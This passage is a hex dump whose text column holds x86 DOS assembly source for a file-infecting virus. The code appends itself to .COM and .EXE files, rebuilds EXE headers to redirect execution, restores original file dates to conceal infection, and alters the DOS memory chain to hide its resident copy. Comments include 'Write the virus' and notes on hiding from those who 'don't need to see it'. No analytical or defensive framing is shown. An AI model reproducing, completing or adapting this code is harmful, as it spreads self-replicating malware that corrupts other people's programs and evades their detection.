|00004520| 20 64 78 2c 30 0a 20 20 | 20 20 20 20 20 20 63 6d | dx,0. | cm|
|00004530| 70 20 20 20 20 20 61 78 | 2c 77 6f 72 64 20 70 74 |p ax|,word pt|
|00004540| 72 20 5b 74 6f 70 5f 73 | 61 76 65 2b 31 38 68 5d |r [top_s|ave+18h]|
|00004550| 0a 20 20 20 20 20 20 20 | 20 6a 6e 65 20 20 20 20 |. | jne |
|00004560| 20 73 65 65 5f 66 75 63 | 6b 0a 20 20 20 20 20 20 | see_fuc|k. |
|00004570| 20 20 63 6d 70 20 20 20 | 20 20 64 78 2c 77 6f 72 | cmp | dx,wor|
|00004580| 64 20 70 74 72 20 5b 74 | 6f 70 5f 73 61 76 65 2b |d ptr [t|op_save+|
|00004590| 31 61 68 5d 0a 20 20 20 | 20 20 20 20 20 6a 6e 65 |1ah]. | jne|
|000045a0| 20 20 20 20 20 73 65 65 | 5f 66 75 63 6b 0a 20 20 | see|_fuck. |
|000045b0| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 64 78 | mo|v dx|
|000045c0| 2c 6f 66 66 73 65 74 20 | 74 6f 70 5f 73 61 76 65 |,offset |top_save|
|000045d0| 2b 31 63 68 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 |+1ch. | mov|
|000045e0| 20 20 20 20 20 73 69 2c | 64 78 0a 20 20 20 20 20 | si,|dx. |
|000045f0| 20 20 20 6d 6f 76 20 20 | 20 20 20 63 78 2c 6f 66 | mov | cx,of|
|00004600| 66 73 65 74 20 6d 79 5f | 73 69 7a 65 0a 20 20 20 |fset my_|size. |
|00004610| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 68 2c | mov| ah,|
|00004620| 33 66 68 0a 20 20 20 20 | 20 20 20 20 69 6e 74 20 |3fh. | int |
|00004630| 20 20 20 20 32 31 68 0a | 20 20 20 20 20 20 20 20 | 21h.| |
|00004640| 6a 63 20 20 20 20 20 20 | 73 65 65 5f 66 75 63 6b |jc |see_fuck|
|00004650| 0a 20 20 20 20 20 20 20 | 20 63 6d 70 20 20 20 20 |. | cmp |
|00004660| 20 63 78 2c 61 78 0a 20 | 20 20 20 20 20 20 20 6a | cx,ax. | j|
|00004670| 6e 65 20 20 20 20 20 73 | 65 65 5f 66 75 63 6b 0a |ne s|ee_fuck.|
|00004680| 20 20 20 20 20 20 20 20 | 78 6f 72 20 20 20 20 20 | |xor |
|00004690| 64 69 2c 64 69 0a 6e 65 | 78 74 5f 62 79 74 65 3a |di,di.ne|xt_byte:|
|000046a0| 0a 0a 20 20 20 20 20 20 | 20 20 6c 6f 64 73 62 0a |.. | lodsb.|
|000046b0| 20 20 20 20 20 20 20 20 | 73 63 61 73 62 0a 20 20 | |scasb. |
|000046c0| 20 20 20 20 20 20 6a 6e | 65 20 20 20 20 20 73 65 | jn|e se|
|000046d0| 65 5f 66 75 63 6b 0a 20 | 20 20 20 20 20 20 20 6c |e_fuck. | l|
|000046e0| 6f 6f 70 20 20 20 20 6e | 65 78 74 5f 62 79 74 65 |oop n|ext_byte|
|000046f0| 0a 73 74 6f 70 5f 66 75 | 63 6b 5f 32 3a 0a 20 20 |.stop_fu|ck_2:. |
|00004700| 20 20 20 20 20 20 72 65 | 74 0a 73 65 65 5f 66 75 | re|t.see_fu|
|00004710| 63 6b 3a 0a 20 20 20 20 | 20 20 20 20 78 6f 72 20 |ck:. | xor |
|00004720| 20 20 20 20 63 78 2c 63 | 78 20 20 20 20 20 20 20 | cx,c|x |
|00004730| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 53 65 65 | | ;See|
|00004740| 6b 20 74 6f 20 74 68 65 | 20 65 6e 64 20 6f 66 20 |k to the| end of |
|00004750| 66 69 6c 65 0a 20 20 20 | 20 20 20 20 20 78 6f 72 |file. | xor|
|00004760| 20 20 20 20 20 64 78 2c | 64 78 0a 20 20 20 20 20 | dx,|dx. |
|00004770| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 78 2c 34 32 | mov | ax,42|
|00004780| 30 32 68 0a 20 20 20 20 | 20 20 20 20 69 6e 74 20 |02h. | int |
|00004790| 20 20 20 20 32 31 68 0a | 20 20 20 20 20 20 20 20 | 21h.| |
|000047a0| 63 6d 70 20 20 20 20 20 | 77 6f 72 64 20 70 74 72 |cmp |word ptr|
|000047b0| 20 5b 74 6f 70 5f 73 61 | 76 65 5d 2c 35 61 34 64 | [top_sa|ve],5a4d|
|000047c0| 68 0a 20 20 20 20 20 20 | 20 20 6a 65 20 20 20 20 |h. | je |
|000047d0| 20 20 66 75 63 6b 5f 65 | 78 65 0a 20 20 20 20 20 | fuck_e|xe. |
|000047e0| 20 20 20 61 64 64 20 20 | 20 20 20 61 78 2c 6f 66 | add | ax,of|
|000047f0| 66 73 65 74 20 61 75 78 | 5f 73 69 7a 65 2b 32 30 |fset aux|_size+20|
|00004800| 30 68 20 3b 57 61 74 63 | 68 20 6f 75 74 20 66 6f |0h ;Watc|h out fo|
|00004810| 72 20 74 6f 6f 20 62 69 | 67 20 2e 43 4f 4d 20 0a |r too bi|g .COM .|
|00004820| 66 69 6c 65 73 0a 20 20 | 20 20 20 20 20 20 61 64 |files. | ad|
|00004830| 63 20 20 20 20 20 64 78 | 2c 30 0a 20 20 20 20 20 |c dx|,0. |
|00004840| 20 20 20 6a 65 20 20 20 | 20 20 20 66 75 63 6b 5f | je | fuck_|
|00004850| 69 74 0a 20 20 20 20 20 | 20 20 20 72 65 74 0a 20 |it. | ret. |
|00004860| 0a 3b 20 50 61 64 20 2e | 45 58 45 20 66 69 6c 65 |.; Pad .|EXE file|
|00004870| 73 20 74 6f 20 70 61 72 | 61 67 72 61 70 68 20 62 |s to par|agraph b|
|00004880| 6f 75 6e 64 61 72 79 2e | 20 54 68 69 73 20 69 73 |oundary.| This is|
|00004890| 20 61 62 73 6f 6c 75 74 | 65 6c 79 20 75 6e 6e 65 | absolut|ely unne|
|000048a0| 63 65 73 73 61 72 79 2e | 0a 20 0a 66 75 63 6b 5f |cessary.|. .fuck_|
|000048b0| 65 78 65 3a 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 |exe:. | mov|
|000048c0| 20 20 20 20 20 64 78 2c | 77 6f 72 64 20 70 74 72 | dx,|word ptr|
|000048d0| 20 5b 74 6f 70 5f 73 61 | 76 65 2b 31 38 68 5d 0a | [top_sa|ve+18h].|
|000048e0| 20 20 20 20 20 20 20 20 | 6e 65 67 20 20 20 20 20 | |neg |
|000048f0| 64 6c 0a 20 20 20 20 20 | 20 20 20 61 6e 64 20 20 |dl. | and |
|00004900| 20 20 20 64 78 2c 30 66 | 68 0a 20 20 20 20 20 20 | dx,0f|h. |
|00004910| 20 20 78 6f 72 20 20 20 | 20 20 63 78 2c 63 78 0a | xor | cx,cx.|
|00004920| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|00004930| 61 78 2c 34 32 30 31 68 | 0a 20 20 20 20 20 20 20 |ax,4201h|. |
|00004940| 20 69 6e 74 20 20 20 20 | 20 32 31 68 0a 20 20 20 | int | 21h. |
|00004950| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 77 6f 72 | mov| wor|
|00004960| 64 20 70 74 72 20 5b 74 | 6f 70 5f 73 61 76 65 2b |d ptr [t|op_save+|
|00004970| 31 38 68 5d 2c 61 78 0a | 20 20 20 20 20 20 20 20 |18h],ax.| |
|00004980| 6d 6f 76 20 20 20 20 20 | 77 6f 72 64 20 70 74 72 |mov |word ptr|
|00004990| 20 5b 74 6f 70 5f 73 61 | 76 65 2b 31 61 68 5d 2c | [top_sa|ve+1ah],|
|000049a0| 64 78 0a 66 75 63 6b 5f | 69 74 3a 0a 20 20 20 20 |dx.fuck_|it:. |
|000049b0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 61 78 2c 35 | mov | ax,5|
|000049c0| 37 30 30 68 20 20 20 20 | 20 20 20 20 20 20 20 20 |700h | |
|000049d0| 20 20 20 20 3b 47 65 74 | 20 66 69 6c 65 27 73 20 | ;Get| file's |
|000049e0| 64 61 74 65 0a 20 20 20 | 20 20 20 20 20 69 6e 74 |date. | int|
|000049f0| 20 20 20 20 20 32 31 68 | 0a 20 20 20 20 20 20 20 | 21h|. |
|00004a00| 20 70 75 73 68 66 0a 20 | 20 20 20 20 20 20 20 70 | pushf. | p|
|00004a10| 75 73 68 20 20 20 20 63 | 78 0a 20 20 20 20 20 20 |ush c|x. |
|00004a20| 20 20 70 75 73 68 20 20 | 20 20 64 78 0a 20 20 20 | push | dx. |
|00004a30| 20 20 20 20 20 63 6d 70 | 20 20 20 20 20 77 6f 72 | cmp| wor|
|00004a40| 64 20 70 74 72 20 5b 74 | 6f 70 5f 73 61 76 65 5d |d ptr [t|op_save]|
|00004a50| 2c 35 61 34 64 68 0a 20 | 20 20 20 20 20 20 20 6a |,5a4dh. | j|
|00004a60| 65 20 20 20 20 20 20 65 | 78 65 5f 66 69 6c 65 20 |e e|xe_file |
|00004a70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|00004a80| 56 65 72 79 20 63 6c 65 | 76 65 72 2c 20 69 73 6e |Very cle|ver, isn|
|00004a90| 27 74 20 69 74 3f 0a 20 | 20 20 20 20 20 20 20 6d |'t it?. | m|
|00004aa0| 6f 76 20 20 20 20 20 61 | 78 2c 31 30 30 68 0a 20 |ov a|x,100h. |
|00004ab0| 20 20 20 20 20 20 20 6a | 6d 70 20 20 20 20 20 73 | j|mp s|
|00004ac0| 68 6f 72 74 20 73 65 74 | 5f 61 64 72 0a 65 78 65 |hort set|_adr.exe|
|00004ad0| 5f 66 69 6c 65 3a 0a 20 | 20 20 20 20 20 20 20 6d |_file:. | m|
|00004ae0| 6f 76 20 20 20 20 20 61 | 78 2c 77 6f 72 64 20 70 |ov a|x,word p|
|00004af0| 74 72 20 5b 74 6f 70 5f | 73 61 76 65 2b 31 34 68 |tr [top_|save+14h|
|00004b00| 5d 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |]. | mov |
|00004b10| 20 20 64 78 2c 77 6f 72 | 64 20 70 74 72 20 5b 74 | dx,wor|d ptr [t|
|00004b20| 6f 70 5f 73 61 76 65 2b | 31 36 68 5d 0a 73 65 74 |op_save+|16h].set|
|00004b30| 5f 61 64 72 3a 0a 20 20 | 20 20 20 20 20 20 6d 6f |_adr:. | mo|
|00004b40| 76 20 20 20 20 20 64 69 | 2c 6f 66 66 73 65 74 20 |v di|,offset |
|00004b50| 63 61 6c 6c 5f 61 64 72 | 0a 20 20 20 20 20 20 20 |call_adr|. |
|00004b60| 20 73 74 6f 73 77 0a 20 | 20 20 20 20 20 20 20 6d | stosw. | m|
|00004b70| 6f 76 20 20 20 20 20 61 | 78 2c 64 78 0a 20 20 20 |ov a|x,dx. |
|00004b80| 20 20 20 20 20 73 74 6f | 73 77 0a 20 20 20 20 20 | sto|sw. |
|00004b90| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 78 2c 77 6f | mov | ax,wo|
|00004ba0| 72 64 20 70 74 72 20 5b | 74 6f 70 5f 73 61 76 65 |rd ptr [|top_save|
|00004bb0| 2b 31 30 68 5d 0a 20 20 | 20 20 20 20 20 20 73 74 |+10h]. | st|
|00004bc0| 6f 73 77 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |osw. | mov |
|00004bd0| 20 20 20 20 61 78 2c 77 | 6f 72 64 20 70 74 72 20 | ax,w|ord ptr |
|00004be0| 5b 74 6f 70 5f 73 61 76 | 65 2b 30 65 68 5d 0a 20 |[top_sav|e+0eh]. |
|00004bf0| 20 20 20 20 20 20 20 73 | 74 6f 73 77 0a 20 20 20 | s|tosw. |
|00004c00| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 73 69 2c | mov| si,|
|00004c10| 6f 66 66 73 65 74 20 74 | 6f 70 5f 73 61 76 65 20 |offset t|op_save |
|00004c20| 20 20 20 20 20 3b 54 68 | 69 73 20 6f 66 66 65 72 | ;Th|is offer|
|00004c30| 73 20 74 68 65 20 70 6f | 73 73 69 62 69 6c 69 74 |s the po|ssibilit|
|00004c40| 69 65 73 20 0a 74 6f 0a | 20 20 20 20 20 20 20 20 |ies .to.| |
|00004c50| 6d 6f 76 73 62 20 20 20 | 20 20 20 20 20 20 20 20 |movsb | |
|00004c60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004c70| 3b 73 6f 6d 65 20 6e 61 | 73 74 79 20 70 72 6f 67 |;some na|sty prog|
|00004c80| 72 61 6d 73 20 74 6f 20 | 72 65 73 74 6f 72 65 0a |rams to |restore.|
|00004c90| 20 20 20 20 20 20 20 20 | 6d 6f 76 73 77 20 20 20 | |movsw |
|00004ca0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004cb0| 20 20 20 20 20 20 20 20 | 3b 65 78 61 63 74 6c 79 | |;exactly|
|00004cc0| 20 74 68 65 20 6f 72 69 | 67 69 6e 61 6c 20 6c 65 | the ori|ginal le|
|00004cd0| 6e 67 74 68 0a 20 20 20 | 20 20 20 20 20 78 6f 72 |ngth. | xor|
|00004ce0| 20 20 20 20 20 64 78 2c | 64 78 20 20 20 20 20 20 | dx,|dx |
|00004cf0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 6f 66 | | ;of|
|00004d00| 20 74 68 65 20 2e 45 58 | 45 20 66 69 6c 65 73 0a | the .EX|E files.|
|00004d10| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|00004d20| 63 78 2c 6f 66 66 73 65 | 74 20 74 6f 70 5f 66 69 |cx,offse|t top_fi|
|00004d30| 6c 65 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |le. | mov |
|00004d40| 20 20 20 61 68 2c 34 30 | 68 0a 20 20 20 20 20 20 | ah,40|h. |
|00004d50| 20 20 69 6e 74 20 20 20 | 20 20 32 31 68 20 20 20 | int | 21h |
|00004d60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004d70| 20 20 3b 57 72 69 74 65 | 20 74 68 65 20 76 69 72 | ;Write| the vir|
|00004d80| 75 73 0a 20 20 20 20 20 | 20 20 20 6a 63 20 20 20 |us. | jc |
|00004d90| 20 20 20 67 6f 5f 6e 6f | 5f 66 75 63 6b 20 20 20 | go_no|_fuck |
|00004da0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 28 64 6f 6e | | ;(don|
|00004db0| 27 74 20 74 72 61 63 65 | 20 68 65 72 65 29 0a 20 |'t trace| here). |
|00004dc0| 20 20 20 20 20 20 20 78 | 6f 72 20 20 20 20 20 63 | x|or c|
|00004dd0| 78 2c 61 78 0a 20 20 20 | 20 20 20 20 20 6a 6e 7a |x,ax. | jnz|
|00004de0| 20 20 20 20 20 67 6f 5f | 6e 6f 5f 66 75 63 6b 0a | go_|no_fuck.|
|00004df0| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|00004e00| 64 78 2c 63 78 0a 20 20 | 20 20 20 20 20 20 6d 6f |dx,cx. | mo|
|00004e10| 76 20 20 20 20 20 61 78 | 2c 34 32 30 30 68 0a 20 |v ax|,4200h. |
|00004e20| 20 20 20 20 20 20 20 69 | 6e 74 20 20 20 20 20 32 | i|nt 2|
|00004e30| 31 68 0a 20 20 20 20 20 | 20 20 20 63 6d 70 20 20 |1h. | cmp |
|00004e40| 20 20 20 77 6f 72 64 20 | 70 74 72 20 5b 74 6f 70 | word |ptr [top|
|00004e50| 5f 73 61 76 65 5d 2c 35 | 61 34 64 68 0a 20 20 20 |_save],5|a4dh. |
|00004e60| 20 20 20 20 20 6a 65 20 | 20 20 20 20 20 64 6f 5f | je | do_|
|00004e70| 65 78 65 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |exe. | mov |
|00004e80| 20 20 20 20 62 79 74 65 | 20 70 74 72 20 5b 74 6f | byte| ptr [to|
|00004e90| 70 5f 73 61 76 65 5d 2c | 30 65 39 68 0a 20 20 20 |p_save],|0e9h. |
|00004ea0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 78 2c | mov| ax,|
|00004eb0| 77 6f 72 64 20 70 74 72 | 20 5b 74 6f 70 5f 73 61 |word ptr| [top_sa|
|00004ec0| 76 65 2b 31 38 68 5d 0a | 20 20 20 20 20 20 20 20 |ve+18h].| |
|00004ed0| 61 64 64 20 20 20 20 20 | 61 78 2c 73 74 61 72 74 |add |ax,start|
|00004ee0| 75 70 2d 63 6f 70 79 72 | 69 67 68 74 2d 33 0a 20 |up-copyr|ight-3. |
|00004ef0| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 77 | m|ov w|
|00004f00| 6f 72 64 20 70 74 72 20 | 5b 74 6f 70 5f 73 61 76 |ord ptr |[top_sav|
|00004f10| 65 2b 31 5d 2c 61 78 0a | 20 20 20 20 20 20 20 20 |e+1],ax.| |
|00004f20| 6d 6f 76 20 20 20 20 20 | 63 78 2c 33 0a 20 20 20 |mov |cx,3. |
|00004f30| 20 20 20 20 20 6a 6d 70 | 20 20 20 20 20 73 68 6f | jmp| sho|
|00004f40| 72 74 20 77 72 69 74 65 | 5f 68 65 61 64 65 72 0a |rt write|_header.|
|00004f50| 67 6f 5f 6e 6f 5f 66 75 | 63 6b 3a 0a 20 20 20 20 |go_no_fu|ck:. |
|00004f60| 20 20 20 20 6a 6d 70 20 | 20 20 20 20 73 68 6f 72 | jmp | shor|
|00004f70| 74 20 6e 6f 5f 66 75 63 | 6b 0a 20 0a 3b 20 43 6f |t no_fuc|k. .; Co|
|00004f80| 6e 73 74 72 75 63 74 20 | 74 68 65 20 2e 45 58 45 |nstruct |the .EXE|
|00004f90| 20 66 69 6c 65 27 73 20 | 68 65 61 64 65 72 0a 20 | file's |header. |
|00004fa0| 0a 64 6f 5f 65 78 65 3a | 0a 20 20 20 20 20 20 20 |.do_exe:|. |
|00004fb0| 20 63 61 6c 6c 20 20 20 | 20 6d 75 6c 5f 68 64 72 | call | mul_hdr|
|00004fc0| 0a 20 20 20 20 20 20 20 | 20 6e 6f 74 20 20 20 20 |. | not |
|00004fd0| 20 61 78 0a 20 20 20 20 | 20 20 20 20 6e 6f 74 20 | ax. | not |
|00004fe0| 20 20 20 20 64 78 0a 20 | 20 20 20 20 20 20 20 69 | dx. | i|
|00004ff0| 6e 63 20 20 20 20 20 61 | 78 0a 20 20 20 20 20 20 |nc a|x. |
|00005000| 20 20 6a 6e 65 20 20 20 | 20 20 63 61 6c 63 5f 6f | jne | calc_o|
|00005010| 66 66 73 0a 20 20 20 20 | 20 20 20 20 69 6e 63 20 |ffs. | inc |
|00005020| 20 20 20 20 64 78 0a 63 | 61 6c 63 5f 6f 66 66 73 | dx.c|alc_offs|
|00005030| 3a 0a 20 20 20 20 20 20 | 20 20 61 64 64 20 20 20 |:. | add |
|00005040| 20 20 61 78 2c 77 6f 72 | 64 20 70 74 72 20 5b 74 | ax,wor|d ptr [t|
|00005050| 6f 70 5f 73 61 76 65 2b | 31 38 68 5d 0a 20 20 20 |op_save+|18h]. |
|00005060| 20 20 20 20 20 61 64 63 | 20 20 20 20 20 64 78 2c | adc| dx,|
|00005070| 77 6f 72 64 20 70 74 72 | 20 5b 74 6f 70 5f 73 61 |word ptr| [top_sa|
|00005080| 76 65 2b 31 61 68 5d 0a | 20 20 20 20 20 20 20 20 |ve+1ah].| |
|00005090| 6d 6f 76 20 20 20 20 20 | 63 78 2c 31 30 68 0a 20 |mov |cx,10h. |
|000050a0| 20 20 20 20 20 20 20 64 | 69 76 20 20 20 20 20 63 | d|iv c|
|000050b0| 78 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |x. | mov |
|000050c0| 20 20 77 6f 72 64 20 70 | 74 72 20 5b 74 6f 70 5f | word p|tr [top_|
|000050d0| 73 61 76 65 2b 31 34 68 | 5d 2c 73 74 61 72 74 75 |save+14h|],startu|
|000050e0| 70 2d 63 6f 70 79 72 69 | 67 68 74 0a 20 20 20 20 |p-copyri|ght. |
|000050f0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 77 6f 72 64 | mov | word|
|00005100| 20 70 74 72 20 5b 74 6f | 70 5f 73 61 76 65 2b 31 | ptr [to|p_save+1|
|00005110| 36 68 5d 2c 61 78 0a 20 | 20 20 20 20 20 20 20 61 |6h],ax. | a|
|00005120| 64 64 20 20 20 20 20 61 | 78 2c 28 6f 66 66 73 65 |dd a|x,(offse|
|00005130| 74 20 74 6f 70 5f 66 69 | 6c 65 2d 6f 66 66 73 65 |t top_fi|le-offse|
|00005140| 74 20 63 6f 70 79 72 69 | 67 68 74 2d 31 29 2f 31 |t copyri|ght-1)/1|
|00005150| 36 2b 31 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |6+1. | mov |
|00005160| 20 20 20 20 77 6f 72 64 | 20 70 74 72 20 5b 74 6f | word| ptr [to|
|00005170| 70 5f 73 61 76 65 2b 30 | 65 68 5d 2c 61 78 0a 20 |p_save+0|eh],ax. |
|00005180| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 77 | m|ov w|
|00005190| 6f 72 64 20 70 74 72 20 | 5b 74 6f 70 5f 73 61 76 |ord ptr |[top_sav|
|000051a0| 65 2b 31 30 68 5d 2c 31 | 30 30 68 0a 20 20 20 20 |e+10h],1|00h. |
|000051b0| 20 20 20 20 61 64 64 20 | 20 20 20 20 77 6f 72 64 | add | word|
|000051c0| 20 70 74 72 20 5b 74 6f | 70 5f 73 61 76 65 2b 31 | ptr [to|p_save+1|
|000051d0| 38 68 5d 2c 6f 66 66 73 | 65 74 20 74 6f 70 5f 66 |8h],offs|et top_f|
|000051e0| 69 6c 65 0a 20 20 20 20 | 20 20 20 20 61 64 63 20 |ile. | adc |
|000051f0| 20 20 20 20 77 6f 72 64 | 20 70 74 72 20 5b 74 6f | word| ptr [to|
|00005200| 70 5f 73 61 76 65 2b 31 | 61 68 5d 2c 30 0a 20 20 |p_save+1|ah],0. |
|00005210| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 61 78 | mo|v ax|
|00005220| 2c 77 6f 72 64 20 70 74 | 72 20 5b 74 6f 70 5f 73 |,word pt|r [top_s|
|00005230| 61 76 65 2b 31 38 68 5d | 0a 20 20 20 20 20 20 20 |ave+18h]|. |
|00005240| 20 61 6e 64 20 20 20 20 | 20 61 78 2c 31 66 66 68 | and | ax,1ffh|
|00005250| 0a 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |. | mov |
|00005260| 20 77 6f 72 64 20 70 74 | 72 20 5b 74 6f 70 5f 73 | word pt|r [top_s|
|00005270| 61 76 65 2b 32 5d 2c 61 | 78 0a 20 20 20 20 20 20 |ave+2],a|x. |
|00005280| 20 20 70 75 73 68 66 0a | 20 20 20 20 20 20 20 20 | pushf.| |
|00005290| 6d 6f 76 20 20 20 20 20 | 61 78 2c 77 6f 72 64 20 |mov |ax,word |
|000052a0| 70 74 72 20 5b 74 6f 70 | 5f 73 61 76 65 2b 31 39 |ptr [top|_save+19|
|000052b0| 68 5d 0a 20 20 20 20 20 | 20 20 20 73 68 72 20 20 |h]. | shr |
|000052c0| 20 20 20 62 79 74 65 20 | 70 74 72 20 5b 74 6f 70 | byte |ptr [top|
|000052d0| 5f 73 61 76 65 2b 31 62 | 68 5d 2c 31 0a 20 20 20 |_save+1b|h],1. |
|000052e0| 20 20 20 20 20 72 63 72 | 20 20 20 20 20 61 78 2c | rcr| ax,|
|000052f0| 31 0a 20 20 20 20 20 20 | 20 20 70 6f 70 66 0a 20 |1. | popf. |
|00005300| 20 20 20 20 20 20 20 6a | 7a 20 20 20 20 20 20 75 | j|z u|
|00005310| 70 64 61 74 65 5f 6c 65 | 6e 0a 20 20 20 20 20 20 |pdate_le|n. |
|00005320| 20 20 69 6e 63 20 20 20 | 20 20 61 78 0a 75 70 64 | inc | ax.upd|
|00005330| 61 74 65 5f 6c 65 6e 3a | 0a 20 20 20 20 20 20 20 |ate_len:|. |
|00005340| 20 6d 6f 76 20 20 20 20 | 20 77 6f 72 64 20 70 74 | mov | word pt|
|00005350| 72 20 5b 74 6f 70 5f 73 | 61 76 65 2b 34 5d 2c 61 |r [top_s|ave+4],a|
|00005360| 78 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |x. | mov |
|00005370| 20 20 63 78 2c 31 38 68 | 0a 77 72 69 74 65 5f 68 | cx,18h|.write_h|
|00005380| 65 61 64 65 72 3a 0a 20 | 20 20 20 20 20 20 20 6d |eader:. | m|
|00005390| 6f 76 20 20 20 20 20 64 | 78 2c 6f 66 66 73 65 74 |ov d|x,offset|
|000053a0| 20 74 6f 70 5f 73 61 76 | 65 0a 20 20 20 20 20 20 | top_sav|e. |
|000053b0| 20 20 6d 6f 76 20 20 20 | 20 20 61 68 2c 34 30 68 | mov | ah,40h|
|000053c0| 0a 20 20 20 20 20 20 20 | 20 69 6e 74 20 20 20 20 |. | int |
|000053d0| 20 32 31 68 20 20 20 20 | 20 20 20 20 20 20 20 20 | 21h | |
|000053e0| 20 20 20 20 20 20 20 20 | 20 3b 57 72 69 74 65 20 | | ;Write |
|000053f0| 74 68 65 20 66 69 6c 65 | 20 62 65 67 69 6e 6e 69 |the file| beginni|
|00005400| 6e 67 0a 6e 6f 5f 66 75 | 63 6b 3a 0a 20 20 20 20 |ng.no_fu|ck:. |
|00005410| 20 20 20 20 70 6f 70 20 | 20 20 20 20 64 78 0a 20 | pop | dx. |
|00005420| 20 20 20 20 20 20 20 70 | 6f 70 20 20 20 20 20 63 | p|op c|
|00005430| 78 0a 20 20 20 20 20 20 | 20 20 70 6f 70 66 0a 20 |x. | popf. |
|00005440| 20 20 20 20 20 20 20 6a | 63 20 20 20 20 20 20 73 | j|c s|
|00005450| 74 6f 70 5f 66 75 63 6b | 0a 20 20 20 20 20 20 20 |top_fuck|. |
|00005460| 20 6d 6f 76 20 20 20 20 | 20 61 78 2c 35 37 30 31 | mov | ax,5701|
|00005470| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h | |
|00005480| 20 3b 52 65 73 74 6f 72 | 65 20 74 68 65 20 6f 72 | ;Restor|e the or|
|00005490| 69 67 69 6e 61 6c 20 66 | 69 6c 65 20 64 61 74 65 |iginal f|ile date|
|000054a0| 0a 20 20 20 20 20 20 20 | 20 69 6e 74 20 20 20 20 |. | int |
|000054b0| 20 32 31 68 0a 73 74 6f | 70 5f 66 75 63 6b 3a 0a | 21h.sto|p_fuck:.|
|000054c0| 20 20 20 20 20 20 20 20 | 72 65 74 0a 20 0a 3b 20 | |ret. .; |
|000054d0| 54 68 65 20 66 6f 6c 6c | 6f 77 69 6e 67 20 69 73 |The foll|owing is|
|000054e0| 20 75 73 65 64 20 62 79 | 20 74 68 65 20 49 4e 54 | used by| the INT|
|000054f0| 20 32 31 68 20 61 6e 64 | 20 49 4e 54 20 32 37 68 | 21h and| INT 27h|
|00005500| 20 68 61 6e 64 6c 65 72 | 73 20 69 6e 20 0a 63 6f | handler|s in .co|
|00005510| 6e 6e 65 63 74 69 6f 6e | 0a 3b 20 74 6f 20 74 68 |nnection|.; to th|
|00005520| 65 20 70 72 6f 67 72 61 | 6d 20 68 69 64 69 6e 67 |e progra|m hiding|
|00005530| 20 69 6e 20 6d 65 6d 6f | 72 79 20 66 72 6f 6d 20 | in memo|ry from |
|00005540| 74 68 6f 73 65 20 77 68 | 6f 20 64 6f 6e 27 74 20 |those wh|o don't |
|00005550| 6e 65 65 64 20 74 6f 20 | 73 65 65 20 69 74 2e 0a |need to |see it..|
|00005560| 3b 20 54 68 65 20 77 68 | 6f 6c 65 20 73 79 73 74 |; The wh|ole syst|
|00005570| 65 6d 20 69 73 20 61 62 | 73 75 72 64 65 20 61 6e |em is ab|surde an|
|00005580| 64 20 6d 65 61 6e 69 6e | 67 6c 65 73 73 20 61 6e |d meanin|gless an|
|00005590| 64 20 69 74 20 69 73 20 | 61 6c 73 6f 20 61 6e 6f |d it is |also ano|
|000055a0| 74 68 65 72 20 0a 73 6f | 75 72 63 65 0a 3b 20 66 |ther .so|urce.; f|
|000055b0| 6f 72 20 70 72 6f 67 72 | 61 6d 20 63 6f 6e 66 6c |or progr|am confl|
|000055c0| 69 63 74 73 2e 0a 20 0a | 61 6c 6c 6f 63 3a 0a 20 |icts.. .|alloc:. |
|000055d0| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 64 | p|ush d|
|000055e0| 73 0a 20 20 20 20 20 20 | 20 20 63 61 6c 6c 20 20 |s. | call |
|000055f0| 20 20 67 65 74 5f 63 68 | 61 69 6e 0a 20 20 20 20 | get_ch|ain. |
|00005600| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 62 79 74 65 | mov | byte|
|00005610| 20 70 74 72 20 64 73 3a | 5b 30 5d 2c 27 4d 27 0a | ptr ds:|[0],'M'.|
|00005620| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 | |pop |
|00005630| 64 73 0a 20 0a 3b 20 41 | 73 73 75 72 65 73 20 74 |ds. .; A|ssures t|
|00005640| 68 61 74 20 74 68 65 20 | 70 72 6f 67 72 61 6d 20 |hat the |program |
|00005650| 69 73 20 74 68 65 20 66 | 69 72 73 74 20 6f 6e 65 |is the f|irst one|
|00005660| 20 69 6e 20 74 68 65 20 | 70 72 6f 63 65 73 73 65 | in the |processe|
|00005670| 73 2c 0a 3b 20 77 68 69 | 63 68 20 68 61 76 65 20 |s,.; whi|ch have |
|00005680| 69 6e 74 65 72 63 65 70 | 74 65 64 20 49 4e 54 20 |intercep|ted INT |
